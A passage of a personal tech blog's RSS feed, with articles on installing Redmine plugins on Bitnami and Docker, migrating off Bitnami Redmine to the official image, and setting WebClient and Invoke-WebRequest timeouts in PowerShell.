<pre><code class="language-csharp">HttpClient.DefaultProxy = new WebProxy(&quot;http://192.168.0.1:8080&quot;, true);
</code></pre>
<p>The second argument is <code>BypassOnLocal</code>, like <code>bypassonlocal</code> in the config.</p>
]]></content:encoded>
    </item>
    <item>
      <title>How to install a Redmine plugin (Bitnami, Docker)</title>
      <link>https://koz.tv/posts/installing-plugins-in-redmine/</link>
      <guid isPermaLink="true">https://koz.tv/posts/installing-plugins-in-redmine/</guid>
      <pubDate>Mon, 23 Jan 2017 00:00:00 GMT</pubDate>
      <description>Install a Redmine plugin: copy it to plugins/, bundle install, migrate, restart. Uninstalling, Bitnami, Docker, and plugins that work on Redmine 6.1 and 7.0.</description>
      <content:encoded><![CDATA[<p>To install a Redmine plugin, put it in <code>plugins/&lt;plugin_id&gt;</code>, run <code>bundle install</code> and the plugin migrations, then restart Redmine. Example with View Customize, run in the Redmine directory (the one with <code>config/database.yml</code>):</p>
<pre><code class="language-bash">cd /path/to/redmine
git clone https://github.com/onozaty/redmine-view-customize.git plugins/view_customize
bundle install
bundle exec rake redmine:plugins:migrate RAILS_ENV=production
</code></pre>
<p>Then restart Redmine: <code>touch tmp/restart.txt</code> under Passenger, <code>sudo /opt/bitnami/ctlscript.sh restart</code> on a Bitnami server, <code>docker compose restart redmine</code> in Docker. Otherwise, restart the app server, such as Puma. The plugin shows up in Administration → Plugins.</p>
<p>Tested on Redmine 7.0.3, 6.1.6 and 5.1.12 (official image) and Bitnami&#39;s 6.0.6 image.</p>
<h2>What each step does</h2>
<ul>
<li><strong>The folder</strong> in <code>plugins/</code> is named after the plugin ID, not the repository. The README usually gives the right clone command.</li>
<li><strong><code>bundle install</code></strong> installs the plugin&#39;s gems. Skip it, and Redmine won&#39;t start: <code>Could not find gem &#39;write_xlsx&#39; in locally installed gems</code>.</li>
<li><strong><code>redmine:plugins:migrate</code></strong> creates the plugin&#39;s tables. Back up the database first. Skip it, and pages return error 500: <code>relation &quot;view_customizes&quot; does not exist</code>.</li>
<li><strong>The restart</strong> loads the plugin: Redmine reads plugins only at startup.</li>
</ul>
<p>To check from the shell:</p>
<pre><code class="language-bash">bundle exec bin/about
</code></pre>
<p>The plugin is listed under <code>Redmine plugins:</code>.</p>
<h2>The folder name must match the plugin ID</h2>
<p>The ID is in <code>init.rb</code>: <code>Redmine::Plugin.register :view_customize</code>. A plain <code>git clone</code> of that repository creates <code>redmine-view-customize</code>, and a GitHub ZIP unpacks to <code>redmine_drawio-master</code>. Redmine won&#39;t start with such a folder:</p>
<pre><code class="language-text">Redmine::PluginNotFound: Plugin not found. The directory for plugin view_customize should be /usr/src/redmine/plugins/view_customize.
</code></pre>
<p>Rename the folder and repeat the steps.</p>
<h2>Uninstall a Redmine plugin</h2>
<pre><code class="language-bash">cd /path/to/redmine
bundle exec rake redmine:plugins:migrate NAME=view_customize VERSION=0 RAILS_ENV=production
rm -rf plugins/view_customize
</code></pre>
<p>Then restart. <code>VERSION=0</code> rolls back the plugin&#39;s migrations and drops its tables with the data, so back up first. Keep the order: without the folder, the task stops with <code>Plugin view_customize was not found</code>, and the tables stay.</p>
<h2>Install a plugin on Bitnami Redmine</h2>
<p>Bitnami VMs and cloud images keep Redmine in <code>/opt/bitnami/redmine</code>. <a href="https://docs.bitnami.com/virtual-machine/apps/redmine/configuration/install-plugins/" target="_blank" rel="noopener">Bitnami&#39;s guide</a> has the same steps:</p>
<pre><code class="language-bash">cd /opt/bitnami/redmine/plugins
git clone https://github.com/onozaty/redmine-view-customize.git view_customize
cd ..
bundle install
bundle exec rake redmine:plugins:migrate RAILS_ENV=production
sudo /opt/bitnami/ctlscript.sh restart
</code></pre>
<p>On an old stack with Redmine 3.x, like mine in 2017, Redmine sits in <code>/opt/bitnami/apps/redmine/htdocs</code>. Run the same commands there and restart Apache: <code>sudo /opt/bitnami/ctlscript.sh restart apache</code>. My installer kept <code>ctlscript.sh</code> in <code>/opt/redmine-3.3.2-2</code>.</p>
<p>To see Administration → Plugins, sign in as <code>user</code>, Bitnami&#39;s admin login (<a href="https://koz.tv/posts/reset-password-and-give-admin-rights-to-redmine-account/">lost the password?</a>).</p>
<p>Bitnami runs Bundler in deployment mode, so a plugin that adds gems fails with <code>the lockfile can&#39;t be updated because frozen mode is set</code>. Unfreeze it and run <code>bundle install</code> again:</p>
<pre><code class="language-bash">bundle config set --local frozen false
bundle install
</code></pre>
<p>If a gem fails to build with <code>make failedNo such file or directory - make</code> or <code>extconf.rb failed</code>, install a compiler and the zlib headers, then repeat <code>bundle install</code>:</p>
<pre><code class="language-bash">sudo apt-get install build-essential zlib1g-dev
</code></pre>
<p>The guide&#39;s <code>--no-deployment</code> is deprecated in Bundler 2.6: the frozen error stays, and the <code>vendor/bundle</code> path disappears from <code>.bundle/config</code>. After that, <code>deployment false</code> reinstalls every gem; <code>frozen false</code> still works.</p>
<h3>Bitnami Docker image</h3>
<p>Plugins live on the volume in <code>/bitnami/redmine/plugins</code>, and the container migrates them at every start. Gems don&#39;t persist: after I recreated the container, it exited at &quot;Executing database migrations&quot; with the frozen lockfile error (visible with <code>BITNAMI_DEBUG=true</code>). The image has no compiler either.</p>
<h3>Bitnami is winding down</h3>
<p>Free Bitnami images, AWS ones included, no longer get updates. What happened and how to move off Bitnami: <a href="https://koz.tv/posts/installing-and-configuring-bitnami-redmine/">Bitnami Redmine install in 2026</a>. For a new server, and for plugins with gems, use the official <code>redmine</code> image.</p>
<h2>Install a plugin in Docker</h2>
<p>At every start, the official image installs missing gems (<code>bundle check || bundle install</code>) and, if <code>REDMINE_PLUGINS_MIGRATE</code> is set, runs plugin migrations. In <code>compose.yaml</code>:</p>
<pre><code class="language-yaml">services:
  redmine:
    build: .
    environment:
      # plus your REDMINE_DB_* settings
      SECRET_KEY_BASE: &quot;a-long-random-string&quot;
      REDMINE_PLUGINS_MIGRATE: &quot;1&quot;
    volumes:
      - ./plugins:/usr/src/redmine/plugins
</code></pre>
<p>The stock image has no compiler. If a plugin&#39;s gems need one, the container stops with an error like <code>make failedNo such file or directory - make</code> or <code>extconf.rb failed</code>. Hence the <code>Dockerfile</code> next to <code>compose.yaml</code>:</p>
<pre><code class="language-dockerfile">FROM redmine:7.0
RUN apt-get update \
 &amp;&amp; apt-get install -y --no-install-recommends build-essential \
 &amp;&amp; rm -rf /var/lib/apt/lists/*
</code></pre>
<pre><code class="language-bash">git clone https://github.com/onozaty/redmine-view-customize.git plugins/view_customize
# first run; later: docker compose restart redmine
docker compose up -d --build
docker compose exec redmine bundle exec bin/about
</code></pre>
<p>Run the last command once <code>docker compose logs redmine</code> shows <code>Listening on</code>. The plugin is listed under <code>Redmine plugins:</code>.</p>
<p>Uninstall:</p>
<pre><code class="language-bash">docker compose exec redmine bundle exec rake redmine:plugins:migrate NAME=view_customize VERSION=0
rm -rf plugins/view_customize
docker compose restart redmine
</code></pre>
<p>Set <code>SECRET_KEY_BASE</code>, not <code>REDMINE_SECRET_KEY_BASE</code>: the entrypoint passes the latter only to the server, and <code>docker compose exec</code> fails with <code>Missing `secret_key_base` </code>. Recreating the container reinstalls plugin gems, so that start needs internet.</p>
<h2>Redmine 6 and 7 compatibility</h2>
<p><a href="https://www.redmine.org/projects/redmine/wiki/Download" target="_blank" rel="noopener">Supported</a>: 7.0 (Rails 8.1), 6.1 (Rails 7.2, bug and security fixes), 6.0 (Rails 7.2, security fixes only). 5.x is no longer supported. Plugins break on major upgrades: 6.0 brought Rails 7.2, Propshaft assets and SVG icons; 7.0 brought Rails 8.1 and removed the old <code>icon-*</code> CSS classes.</p>
<p><code>requires_redmine</code> in <code>init.rb</code> is only a minimum. redmine_banner, archived since 2020, declares 4.0 or later, and on 7.0.3 Redmine doesn&#39;t start: <code>LoadError: cannot load such file -- banners/application_hooks</code>. One broken plugin takes Redmine down; remove its folder and restart. A plugin that needs a newer Redmine says so: <code>additionals plugin requires Redmine 7.0 or higher but current is 6.1.6.stable</code>.</p>
<p>Check the last commit and the README requirements. The <a href="https://www.redmine.org/plugins?page=1&v=7.0" target="_blank" rel="noopener">plugin directory</a> filters by version, as marked by authors: 149 of 1,370 plugins claim 7.0.</p>
<h2>Useful Redmine plugins for 6.1 and 7.0</h2>
<p>All installed, migrated and loaded on 6.1.6 and 7.0.3 (Additionals on 7.0.3 only). Folder names are in brackets.</p>
<ul>
<li><a href="https://github.com/onozaty/redmine-view-customize" target="_blank" rel="noopener">View Customize</a> 3.6.0 (<code>view_customize</code>): your JavaScript, CSS or HTML on chosen pages.</li>
<li><a href="https://github.com/alphanodes/additionals" target="_blank" rel="noopener">Additionals</a> 4.6.0 (<code>additionals</code>): dashboards, wiki macros, issue rules. Branch <code>stable</code>; for 6.1, tag <code>4.5.0</code>. No SQLite.</li>
<li><a href="https://github.com/agileware-jp/redmine_issue_templates" target="_blank" rel="noopener">Issue Templates</a> 1.2.3 (<code>redmine_issue_templates</code>): issue templates per project.</li>
<li><a href="https://github.com/mikitex70/redmine_drawio" target="_blank" rel="noopener">Drawio</a> 1.5.6 (<code>redmine_drawio</code>): draw.io diagrams in wiki and issues.</li>
<li><a href="https://github.com/haru/redmine_wiki_extensions" target="_blank" rel="noopener">Wiki Extensions</a> 1.3.0 (<code>redmine_wiki_extensions</code>): wiki macros, comments, tags.</li>
<li><a href="https://github.com/two-pack/redmine_xlsx_format_issue_exporter" target="_blank" rel="noopener">XLSX format issue exporter</a> 0.3.0 (<code>redmine_xlsx_format_issue_exporter</code>): issue lists to Excel. Needs the compiler in Docker.</li>
<li><a href="https://github.com/kontron/redmine_oauth" target="_blank" rel="noopener">Redmine OAuth</a> 4.2.3 (<code>redmine_oauth</code>): sign-in with Google, GitHub, GitLab, Azure AD, Okta, Keycloak or OpenID Connect. On 6.1, needs the compiler in Docker.</li>
<li><a href="https://github.com/jgraichen/redmine_dashboard" target="_blank" rel="noopener">Redmine Dashboard</a> (<code>redmine_dashboard</code>): task and planning boards. Clone <code>main</code>: release 2.16.0 predates Redmine 7.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Bitnami Redmine install in 2026: Docker, AWS, VM</title>
      <link>https://koz.tv/posts/installing-and-configuring-bitnami-redmine/</link>
      <guid isPermaLink="true">https://koz.tv/posts/installing-and-configuring-bitnami-redmine/</guid>
      <pubDate>Tue, 13 Dec 2016 00:00:00 GMT</pubDate>
      <description>Free Bitnami Redmine is gone from Docker Hub, AWS and VM downloads. Install Redmine 7 with the official Docker image, find Bitnami logins, move your data.</description>
      <content:encoded><![CDATA[<p>Bitnami no longer gives Redmine away for free. Install it with the official <code>redmine</code> Docker image and PostgreSQL. Save this as <code>compose.yaml</code> in an empty folder:</p>
<pre><code class="language-yaml">services:
  db:
    image: postgres:18
    restart: unless-stopped
    environment:
      POSTGRES_USER: redmine
      POSTGRES_PASSWORD: ${DB_PASSWORD}
      POSTGRES_DB: redmine
    volumes:
      - pgdata:/var/lib/postgresql
    healthcheck:
      test: [&quot;CMD-SHELL&quot;, &quot;pg_isready -h 127.0.0.1 -U redmine -d redmine&quot;]
      interval: 5s
      retries: 10

  redmine:
    image: redmine:7.0
    restart: unless-stopped
    depends_on:
      db:
        condition: service_healthy
    ports:
      - &quot;8080:3000&quot;
    environment:
      REDMINE_DB_POSTGRES: db
      REDMINE_DB_USERNAME: redmine
      REDMINE_DB_PASSWORD: ${DB_PASSWORD}
      REDMINE_DB_DATABASE: redmine
      SECRET_KEY_BASE: ${SECRET_KEY_BASE}
    volumes:
      - files:/usr/src/redmine/files

volumes:
  pgdata:
  files:
</code></pre>
<p>Generate the passwords and start:</p>
<pre><code class="language-bash">printf &#39;DB_PASSWORD=%s\nSECRET_KEY_BASE=%s\n&#39; &quot;$(openssl rand -hex 16)&quot; &quot;$(openssl rand -hex 64)&quot; &gt; .env
docker compose up -d
</code></pre>
<p>When <code>docker compose logs redmine</code> shows <code>Listening on http://0.0.0.0:3000</code>, open <code>http://your-server:8080</code> and sign in as <strong>admin / admin</strong>. Redmine asks for a new password right away. Tested with Redmine 7.0.3 and PostgreSQL 18.6.</p>
<h2>What happened to Bitnami Redmine</h2>
<p>As of November 2026:</p>
<ul>
<li><a href="https://hub.docker.com/r/bitnami/redmine" target="_blank" rel="noopener">bitnami/redmine</a> on Docker Hub has no public tags: it now needs a paid Bitnami Secure Images subscription. The free <code>bitnamisecure</code> tier has no Redmine.</li>
<li><a href="https://hub.docker.com/r/bitnamilegacy/redmine" target="_blank" rel="noopener">bitnamilegacy/redmine</a> is a frozen copy, last tag <code>6.0.6-debian-12-r7</code> from August 22, 2025. It gets &quot;no further updates or support&quot; (<a href="https://github.com/bitnami/containers/issues/83267" target="_blank" rel="noopener">announcement</a>), and its Docker Hub page warns that it &quot;may be removed in the future&quot;.</li>
<li>AWS: Bitnami AMIs and Lightsail blueprints were removed on June 10, 2026 (<a href="https://community.broadcom.com/tanzu/blogs/beltran-rueda-borrego/2026/05/20/important-update-transitioning-bitnami-offerings-o" target="_blank" rel="noopener">Broadcom</a>). Running instances work but get no updates. The Marketplace listing opens &quot;Page not found&quot;.</li>
<li>VM and installers: since June 2025 Bitnami OVAs are for VMware customers only (<a href="https://github.com/bitnami/vms/issues/1831" target="_blank" rel="noopener">bitnami/vms#1831</a>), and Redmine pages on bitnami.com redirect to the Bitnami Secure Images homepage. Native installers ended in <a href="https://blog.bitnami.com/2022/11/focusing-on-cloud-native-solutions.html" target="_blank" rel="noopener">November 2022</a>.</li>
</ul>
<p>Your Bitnami server keeps running, unpatched, while upstream Redmine is at 7.0.3, 6.1.6 and 6.0.12 (<a href="https://www.redmine.org/projects/redmine/wiki/Download" target="_blank" rel="noopener">downloads</a>).</p>
<h2>Bitnami Redmine default login and password</h2>
<p>The login is <code>user</code>, not <code>admin</code>. Where to find the password:</p>
<ul>
<li>VM or EC2 instance: <code>sudo cat /home/bitnami/bitnami_credentials</code>. On EC2 it&#39;s also in the instance&#39;s system log for the first 24 hours.</li>
<li>Lightsail: <code>cat ~/bitnami_application_password</code>.</li>
<li><code>bitnamilegacy/redmine</code> in Docker: <code>bitnami1</code>, unless <code>REDMINE_PASSWORD</code> was set on the first start.</li>
<li>MariaDB on a Bitnami VM: user <code>root</code>, the same password as the application.</li>
</ul>
<p>Lost the password? <a href="https://koz.tv/posts/reset-password-and-give-admin-rights-to-redmine-account/">Reset it with one command</a>.</p>
<h2>Configure email</h2>
<p>Redmine reads SMTP settings from <code>config/configuration.yml</code>. Create it next to <code>compose.yaml</code>:</p>
<pre><code class="language-yaml">production:
  email_delivery:
    delivery_method: :smtp
    smtp_settings:
      address: smtp.example.com
      port: 587
      enable_starttls_auto: true
      authentication: :login
      user_name: &quot;redmine@example.com&quot;
      password: &quot;app-password&quot;
</code></pre>
<p>Add it to the <code>redmine</code> volumes and run <code>docker compose up -d</code>:</p>
<pre><code class="language-yaml">    volumes:
      - files:/usr/src/redmine/files
      - ./configuration.yml:/usr/src/redmine/config/configuration.yml
</code></pre>
<p>On a Bitnami server, edit <code>/opt/bitnami/redmine/config/configuration.yml</code> and run <code>sudo /opt/bitnami/ctlscript.sh restart</code>.</p>
<p>To send a test email:</p>
<ol>
<li>In My account, put in your real address. The test goes there, and a fresh admin has a placeholder (<code>admin@dummy.invalid</code> in 7.0).</li>
<li>In Administration → Settings → Email notifications, set &quot;Emission email address&quot;.</li>
<li>Click &quot;Send a test email&quot;.</li>
</ol>
<h2>Set the base URL</h2>
<p>Links in emails use the host name from the settings. Set &quot;Host name and path&quot; and &quot;Protocol&quot; in Administration → Settings → General, or from the shell:</p>
<pre><code class="language-bash">docker compose exec redmine bundle exec rails runner \
  &#39;Setting.host_name = &quot;redmine.example.com&quot;; Setting.protocol = &quot;https&quot;&#39;
</code></pre>
<p>The container serves plain HTTP on port 3000; put nginx, Caddy or Traefik in front for HTTPS.</p>
<p>On a Bitnami server, point the domain&#39;s DNS at it and run <code>sudo /opt/bitnami/bncert-tool</code>. It asks for the domains, gets a Let&#39;s Encrypt certificate and sets up its renewal and the HTTP-to-HTTPS redirect. The Apache vhosts, where I set <code>ServerName</code> and <code>ServerAlias</code> back in 2016, are now in <code>/opt/bitnami/apache/conf/vhosts/</code> (<a href="https://docs.bitnami.com/virtual-machine/apps/redmine/administration/redirect-custom-domains/" target="_blank" rel="noopener">Bitnami docs</a>).</p>
<h2>secret_key_base: the Bitnami error and logouts</h2>
<p>Run <code>rails</code> or <code>rake</code> by hand in a Bitnami Redmine without a key, and it fails:</p>
<pre><code class="language-text">Missing `secret_key_base` for &#39;production&#39; environment, set this string with `bin/rails credentials:edit` (ArgumentError)
</code></pre>
<p>Ignore the <code>credentials:edit</code> hint. On a Bitnami VM or cloud server, Redmine generates the key with its own task:</p>
<pre><code class="language-bash">cd /opt/bitnami/redmine
RAILS_ENV=production bundle exec rake generate_secret_token
</code></pre>
<p>The key signs session cookies, so a new one logs everyone out after the restart.</p>
<p>In a <code>bitnamilegacy/redmine</code> container, put <code>SECRET_KEY_BASE</code> in its <code>environment</code> instead, as in the compose file above. Without it the container generates a new key on every recreate, and so does the official image. I checked both: with the variable set, my session survived a container recreate; without it, I was back at the login page.</p>
<h2>Move from Bitnami to the official image</h2>
<p>Your data is the <code>bitnami_redmine</code> database and the <code>files</code> folder. MySQL 8.4 loads a dump from Bitnami&#39;s MariaDB after one <code>sed</code> fix, so swap the database: replace the <code>db</code> service, change <code>REDMINE_DB_POSTGRES</code> to <code>REDMINE_DB_MYSQL</code> and rename the <code>pgdata</code> volume to <code>dbdata</code>:</p>
<pre><code class="language-yaml">  db:
    image: mysql:8.4
    restart: unless-stopped
    command: --transaction-isolation=READ-COMMITTED
    environment:
      MYSQL_DATABASE: redmine
      MYSQL_USER: redmine
      MYSQL_PASSWORD: ${DB_PASSWORD}
      MYSQL_RANDOM_ROOT_PASSWORD: &quot;yes&quot;
    volumes:
      - dbdata:/var/lib/mysql
    healthcheck:
      test: [&quot;CMD-SHELL&quot;, &quot;mysql -h 127.0.0.1 -u redmine -p$$MYSQL_PASSWORD -e &#39;SELECT 1&#39; redmine&quot;]
      interval: 5s
      retries: 20
</code></pre>
<p>Redmine&#39;s install guide asks for <code>READ-COMMITTED</code> on MySQL.</p>
<p>On the Bitnami server:</p>
<pre><code class="language-bash">mysqldump -u root -p bitnami_redmine &gt; bitnami_redmine.sql
tar czf redmine_files.tar.gz -C /opt/bitnami/redmine files
</code></pre>
<p>The password is the application password. If <code>mysqldump</code> isn&#39;t found, use <code>mariadb-dump</code>. From a <code>bitnamilegacy/redmine</code> compose project:</p>
<pre><code class="language-bash">docker compose exec -T mariadb mariadb-dump -u root bitnami_redmine &gt; bitnami_redmine.sql
docker compose cp redmine:/bitnami/redmine/files ./files
</code></pre>
<p>If root has a password there, make the first line <code>docker compose exec -T mariadb sh -c &#39;mariadb-dump -u root -p&quot;$MARIADB_ROOT_PASSWORD&quot; bitnami_redmine&#39; &gt; bitnami_redmine.sql</code>.</p>
<p>On the new server (skip <code>tar</code> if you already have a <code>files</code> folder):</p>
<pre><code class="language-bash">docker compose up -d --wait db
sed &#39;s/utf8mb4_uca1400_ai_ci/utf8mb4_0900_ai_ci/g&#39; bitnami_redmine.sql \
  | docker compose exec -T db sh -c &#39;mysql -u redmine -p&quot;$MYSQL_PASSWORD&quot; redmine&#39;
tar xzf redmine_files.tar.gz
docker compose create redmine
docker compose cp files/. redmine:/usr/src/redmine/files/
docker compose up -d
docker compose exec redmine chown -R redmine:redmine files
</code></pre>
<p><code>sed</code> renames a collation MySQL doesn&#39;t have: MariaDB 11.5 and newer, <code>bitnamilegacy/mariadb:latest</code> included, mark tables <code>utf8mb4_uca1400_ai_ci</code>. A dump from older MariaDB passes through unchanged.</p>
<p>On start the image migrates the 6.0 database to 7.0; sign in with your Bitnami login. Don&#39;t skip <code>chown</code>: <code>docker compose cp</code> keeps the old file owners, and uploads fail with <code>Errno::EACCES: Permission denied</code>. I moved a <code>bitnamilegacy/redmine:6.0.6</code> install this way, attachments included.</p>
<p>Plugins: put the ones that support 7.0 in <code>./plugins</code>, mount it at <code>/usr/src/redmine/plugins</code> and set <code>REDMINE_PLUGINS_MIGRATE: &quot;1&quot;</code>. More in <a href="https://koz.tv/posts/installing-plugins-in-redmine/">installing Redmine plugins</a>.</p>
<h2>Upgrade Redmine in Docker</h2>
<p>Back up first:</p>
<pre><code class="language-bash">docker compose exec -T db pg_dump -U redmine redmine &gt; redmine-$(date +%F).sql
docker compose cp redmine:/usr/src/redmine/files ./files-backup
</code></pre>
<p>If you moved to MySQL, dump with <code>docker compose exec -T db sh -c &#39;mysqldump --no-tablespaces -u redmine -p&quot;$MYSQL_PASSWORD&quot; redmine&#39; &gt; redmine-$(date +%F).sql</code>.</p>
<p>Change the tag, say <code>redmine:6.1</code> to <code>redmine:7.0</code>, and run:</p>
<pre><code class="language-bash">docker compose pull
docker compose up -d
</code></pre>
<p>Migrations run on start; that&#39;s how I upgraded 6.1.6 to 7.0.3. The <code>7.0</code> tag also picks up 7.0.x fixes on every <code>pull</code>.</p>
<p>PostgreSQL majors don&#39;t upgrade like that. <code>postgres:19rc1</code> on a volume from 18 exits with <code>there appears to be PostgreSQL data in: /var/lib/postgresql/18/docker</code>. Dump, start the new version on an empty volume, restore with <code>psql</code>.</p>
<h2>Common mistakes</h2>
<ul>
<li>Mounting the PostgreSQL 18 volume at <code>/var/lib/postgresql/data</code>, as older guides do. The container exits with <code>Error: in 18+, these Docker images are configured to store database data in a format which is compatible with &quot;pg_ctlcluster&quot;</code>. Mount <code>/var/lib/postgresql</code>.</li>
<li>A dump from MariaDB 11.5 or newer loaded without the <code>sed</code> step: <code>ERROR 1273 (HY000) at line 26: Unknown collation: &#39;utf8mb4_uca1400_ai_ci&#39;</code>.</li>
<li>A <code>mysqladmin ping</code> healthcheck. It reports success even on <code>Access denied</code>, and on first start it answers MySQL&#39;s temporary setup server, so <code>--wait db</code> returns before the real server is up. Log in over TCP, as in the compose above.</li>
<li>A dump made with <code>--databases</code>, as in <a href="https://docs.bitnami.com/virtual-machine/apps/redmine/administration/upgrade/" target="_blank" rel="noopener">Bitnami&#39;s upgrade guide</a>. It switches to <code>bitnami_redmine</code>, and the import fails with <code>Access denied for user &#39;redmine&#39;@&#39;%&#39; to database &#39;bitnami_redmine&#39;</code>.</li>
<li>A <code>$</code> in <code>.env</code>: Compose reads <code>ab$cd</code> as <code>ab</code> plus an empty variable. Hex passwords from <code>openssl rand</code> avoid that.</li>
<li>Paths from the 2016 version of this post: <code>/opt/bitnami/apps/redmine</code> and Apache tweaks for the <code>/redmine</code> prefix. Current Bitnami builds use <code>/opt/bitnami/redmine</code> at the site root.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Invoke-WebRequest and WebClient timeout in PowerShell</title>
      <link>https://koz.tv/posts/setup-webclient-timeout-in-powershell/</link>
      <guid isPermaLink="true">https://koz.tv/posts/setup-webclient-timeout-in-powershell/</guid>
      <pubDate>Wed, 09 Nov 2016 00:00:00 GMT</pubDate>
      <description>WebClient has no Timeout property. Set one with Invoke-WebRequest -TimeoutSec, HttpClient or a WebClient subclass, and catch 'The operation has timed out'.</description>
      <content:encoded><![CDATA[<p><code>System.Net.WebClient</code> has no <code>Timeout</code> property. Use <code>-TimeoutSec</code> on <code>Invoke-WebRequest</code> and <code>Invoke-RestMethod</code>, set <code>Timeout</code> on <code>HttpClient</code>, or subclass <code>WebClient</code>.</p>
<pre><code class="language-powershell"># Web cmdlets: seconds, 0 (default) = no timeout
Invoke-WebRequest -Uri &#39;https://example.com/&#39; -UseBasicParsing -TimeoutSec 30
Invoke-RestMethod -Uri &#39;https://example.com/&#39; -TimeoutSec 30

# HttpClient: set Timeout before the first request, later it throws
Add-Type -AssemblyName System.Net.Http
$http = [System.Net.Http.HttpClient]::new()
$http.Timeout = [TimeSpan]::FromSeconds(30)
$html = $http.GetStringAsync(&#39;https://example.com/&#39;).GetAwaiter().GetResult()
</code></pre>
<h2>WebClient timeout: subclass it with Add-Type</h2>
<p>Override <code>GetWebRequest</code> to set timeouts on every request:</p>
<pre><code class="language-powershell">Add-Type -IgnoreWarnings -TypeDefinition @&quot;
using System;
using System.Net;

public class TimeoutWebClient : WebClient
{
    public int TimeoutMs = 30000;

    protected override WebRequest GetWebRequest(Uri address)
    {
        WebRequest request = base.GetWebRequest(address);
        if (request != null)
        {
            request.Timeout = TimeoutMs;
            HttpWebRequest http = request as HttpWebRequest;
            if (http != null) { http.ReadWriteTimeout = TimeoutMs; }
        }
        return request;
    }
}
&quot;@

$wc = New-Object TimeoutWebClient
$wc.TimeoutMs = 10000   # milliseconds
$wc.DownloadString(&#39;https://example.com/&#39;)
</code></pre>
<p>Why it looks like this:</p>
<ul>
<li><code>Timeout</code> limits the wait for the response (default 100 seconds), <code>ReadWriteTimeout</code> each read of the body (default 5 minutes). In my test, an 8-second pause after headers tripped a 3-second <code>ReadWriteTimeout</code>, but not <code>Timeout</code>.</li>
<li>PowerShell 7 needs <code>-IgnoreWarnings</code>: <code>WebClient</code> is obsolete in .NET 6+ (SYSLIB0014), and <code>Add-Type</code> treats warnings as errors, failing with <code>Cannot add type. Compilation errors occurred.</code></li>
<li>The C# avoids newer syntax so the same block compiles in Windows PowerShell 5.1 with its old CodeDom compiler. A type can&#39;t be redefined in a session: after editing the class, rename it or restart PowerShell.</li>
</ul>
<h2>Invoke-WebRequest -TimeoutSec: what it limits</h2>
<p><code>-TimeoutSec</code> covers only the wait for response headers: DNS, connecting and server think time, not the body. With <code>-TimeoutSec 3</code>, an 8-second body after instant headers completed fine.</p>
<p>PowerShell 7.4 renamed the parameter to <code>-ConnectionTimeoutSeconds</code> (<code>-TimeoutSec</code> stays as an alias) and added <code>-OperationTimeoutSeconds</code>, the longest allowed pause between chunks of the body. For downloads, set both:</p>
<pre><code class="language-powershell">Invoke-WebRequest -Uri $url -OutFile $file -ConnectionTimeoutSeconds 15 -OperationTimeoutSeconds 60
</code></pre>
<p>Neither caps the total time; <code>HttpClient.Timeout</code> does for <code>GetStringAsync</code>, body included.</p>
<p>Also worth knowing:</p>
<ul>
<li><code>-MaximumRetryCount</code> doesn&#39;t retry timeouts: <code>-TimeoutSec 2 -MaximumRetryCount 2</code> failed after 2 seconds.</li>
<li>Windows PowerShell 5.1 has only <code>-TimeoutSec</code>, and a slow DNS lookup can delay it to 15 seconds or more (<a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-5.1" target="_blank" rel="noopener">docs</a>); PowerShell 7 isn&#39;t affected. Add <code>-UseBasicParsing</code> in 5.1: since the December 2025 security update, <code>Invoke-WebRequest</code> without it stops at a confirmation prompt.</li>
</ul>
<h2>&quot;The operation has timed out&quot; and DownloadDataInternal</h2>
<p>Timeout on Windows PowerShell 5.1 or .NET Framework:</p>
<pre><code class="language-text">Exception calling &quot;DownloadString&quot; with &quot;1&quot; argument(s): &quot;The operation has timed out&quot;

System.Net.WebException: The operation has timed out
   at System.Net.WebClient.DownloadDataInternal(Uri address, WebRequest&amp; request)
   at System.Net.WebClient.DownloadString(Uri address)
</code></pre>
<p>PowerShell 7.5 adds a period and the <code>HttpWebRequest.GetResponse()</code>, <code>GetWebResponse</code> and <code>DownloadBits</code> frames on top.</p>
<p>On .NET Framework <code>DownloadDataInternal</code> tops every <code>DownloadString</code> and <code>DownloadData</code> error (<code>throw e;</code> resets the trace), so read the message line:</p>
<ul>
<li>&quot;The operation has timed out&quot;: no response within <code>HttpWebRequest.Timeout</code> (100 seconds by default). Change it with the subclass above or use the cmdlets. For ASP.NET behind a proxy, see <a href="https://koz.tv/posts/add-proxy-settings-to-iis-applications-with-web-config/">web.config proxy settings</a>.</li>
<li>&quot;(407) Proxy Authentication Required&quot;: set <code>$wc.Proxy.Credentials = [Net.CredentialCache]::DefaultNetworkCredentials</code>, or <code>useDefaultCredentials=&quot;true&quot;</code> on <code>&lt;defaultProxy&gt;</code> in web.config.</li>
<li>&quot;Could not create SSL/TLS secure channel&quot;: run <code>[Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor &#39;Tls12&#39;</code> first.</li>
</ul>
<p>Catch a timeout by type and check <code>Status</code>:</p>
<pre><code class="language-powershell">try {
    $wc.DownloadString($url)
}
catch [System.Net.WebException] {
    if ($_.Exception.Status -eq [System.Net.WebExceptionStatus]::Timeout) {
        Write-Warning &quot;Timed out: $url&quot;
    }
    else { throw }
}
</code></pre>
<p>A stalled body (<code>ReadWriteTimeout</code>) in PowerShell 7 throws &quot;An exception occurred during a WebClient request.&quot; with <code>Status</code> <code>UnknownError</code>, which the <code>if</code> misses; add <code>-or $_.Exception.InnerException -is [System.IO.IOException]</code>.</p>
<p><code>Invoke-WebRequest</code> in PowerShell 7 throws <code>TaskCanceledException</code> (&quot;The request was canceled due to the configured HttpClient.Timeout of 30 seconds elapsing.&quot;) on the connection timeout and <code>TimeoutException</code> on the operation timeout (inside <code>AggregateException</code> with <code>-OutFile</code>):</p>
<pre><code class="language-powershell">try {
    Invoke-RestMethod -Uri $url -TimeoutSec 30
}
catch [System.Threading.Tasks.TaskCanceledException] {
    Write-Warning &quot;No response in 30 seconds: $url&quot;
}
</code></pre>
<p>Windows PowerShell 5.1 throws <code>WebException</code> instead (<a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-5.1" target="_blank" rel="noopener">docs</a>): use the <code>WebClient</code> pattern there.</p>
<h2>Async methods ignore Timeout in Windows PowerShell 5.1</h2>
